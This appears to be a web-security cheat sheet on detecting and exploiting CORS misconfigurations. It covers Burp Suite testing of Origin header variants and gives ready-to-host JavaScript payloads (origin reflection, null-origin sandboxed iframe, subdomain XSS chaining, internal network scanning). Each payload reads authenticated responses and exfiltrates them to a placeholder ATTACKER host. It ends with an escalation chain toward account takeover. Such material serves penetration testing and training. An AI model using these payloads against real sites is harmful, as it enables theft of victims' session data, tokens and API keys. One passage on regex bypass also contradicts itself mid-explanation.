Web

CORS Misconfiguration

CORS exploitation: detecting origin reflection, null origin bypass, trusted subdomain chain via XSS, pre-flight bypass, credential leakage with fetch, and Burp Suite detection workflow. Every payload separated.

What is CORS

CORS (Cross-Origin Resource Sharing) is the browser mechanism that relaxes the Same-Origin Policy. A server tells the browser which external origins are allowed to read its responses via the Access-Control-Allow-Origin (ACAO) header.

A misconfigured CORS policy lets an attacker’s origin read authenticated responses — credentials, tokens, PII — from a victim’s session.

Exploitable only when:

  • Access-Control-Allow-Credentials: true is present (so cookies are sent), AND
  • ACAO is either * (wildcarded — browsers block withCredentials here) or reflects / trusts the attacker’s origin.

Detection

Step 1 — Send a cross-origin request with Burp

Intercept any authenticated request. In Repeater, add:

Origin: https://attacker.com

Check the response headers:

ResponseMeaning
Access-Control-Allow-Origin: https://attacker.com + Access-Control-Allow-Credentials: trueFully exploitable — origin reflected
Access-Control-Allow-Origin: *Readable but no credentials (browser blocks withCredentials with wildcard)
No ACAO headerCORS not enabled

Step 2 — Test null origin

Origin: null

If the response is Access-Control-Allow-Origin: null + Access-Control-Allow-Credentials: true → exploitable via sandboxed iframe.

Step 3 — Test subdomain / prefix/suffix matching

Origin: https://TARGET.attacker.com
Origin: https://attackerTARGET.com
Origin: https://sub.TARGET.com

If any of these are reflected → the regex is weak.


Origin reflection exploit

The server blindly echoes back whatever Origin you send.

<script>
  fetch('https://TARGET/api/profile', {
    credentials: 'include'
  })
  .then(r => r.text())
  .then(data => {
    fetch('https://ATTACKER/?d=' + btoa(data));
  });
</script>

Host on your server. When the victim visits, their authenticated profile response is exfiltrated.


Null origin bypass (sandboxed iframe)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>
  fetch('https://TARGET/api/profile', { credentials: 'include' })
    .then(r => r.text())
    .then(d => document.location = 'https://ATTACKER/?c=' + btoa(d));
</script>"></iframe>

A sandboxed iframe sends Origin: null. If the server allows it, full credential read.


Trusted subdomain with XSS

If the CORS policy trusts *.TARGET.com and you have XSS on sub.TARGET.com:

// Payload on sub.TARGET.com (XSS context)
fetch('https://api.TARGET.com/account', { credentials: 'include' })
  .then(r => r.json())
  .then(d => new Image().src = 'https://ATTACKER/?d=' + btoa(JSON.stringify(d)));

This bypasses SameSite cookie restrictions as well — the request is same-site (*.TARGET.com).


Weak regex — prefix / suffix bypass

Test both directions. If the check is endsWith('TARGET.com'):

Origin: https://notTARGET.com

Wait — that fails. But https://evil.TARGET.com passes if they check for TARGET.com anywhere. Test variations:

Origin: https://TARGET.com.attacker.com
Origin: https://attackerTARGET.com
Origin: https://sub.TARGET.com.evil.com

Internal network CORS

Some apps configure permissive CORS for internal services. From an external SSRF or XSS:

// Scan internal range for open CORS
['192.168.0.1','192.168.0.2','10.0.0.1'].forEach(ip => {
  fetch('http://' + ip + '/api/info', { credentials: 'include' })
    .then(r => r.text())
    .then(d => fetch('https://ATTACKER/?ip=' + ip + '&d=' + btoa(d)))
    .catch(() => {});
});

Burp Suite workflow

  1. Proxy → HTTP history — filter for responses containing Access-Control-Allow-Origin.
  2. Burp Scanner — run an active scan; it automatically adds crafted Origin headers and flags reflections.
  3. Repeater — manually test origin reflection, null, prefix/suffix variants (see Detection above).
  4. Match and Replace (Proxy → Options) — add a rule to inject Origin: https://attacker.com on every request to test at scale.
Match: (leave blank)
Replace: Origin: https://attacker.com

Impact escalation chain

  1. Find origin reflection with Access-Control-Allow-Credentials: true.
  2. Identify the most sensitive endpoint (/api/keys, /api/account, /admin/export).
  3. Fetch it from your origin with credentials: 'include'.
  4. Exfiltrate the response to your Burp Collaborator or server.
  5. If the response contains an API key or CSRF token — escalate to full account takeover.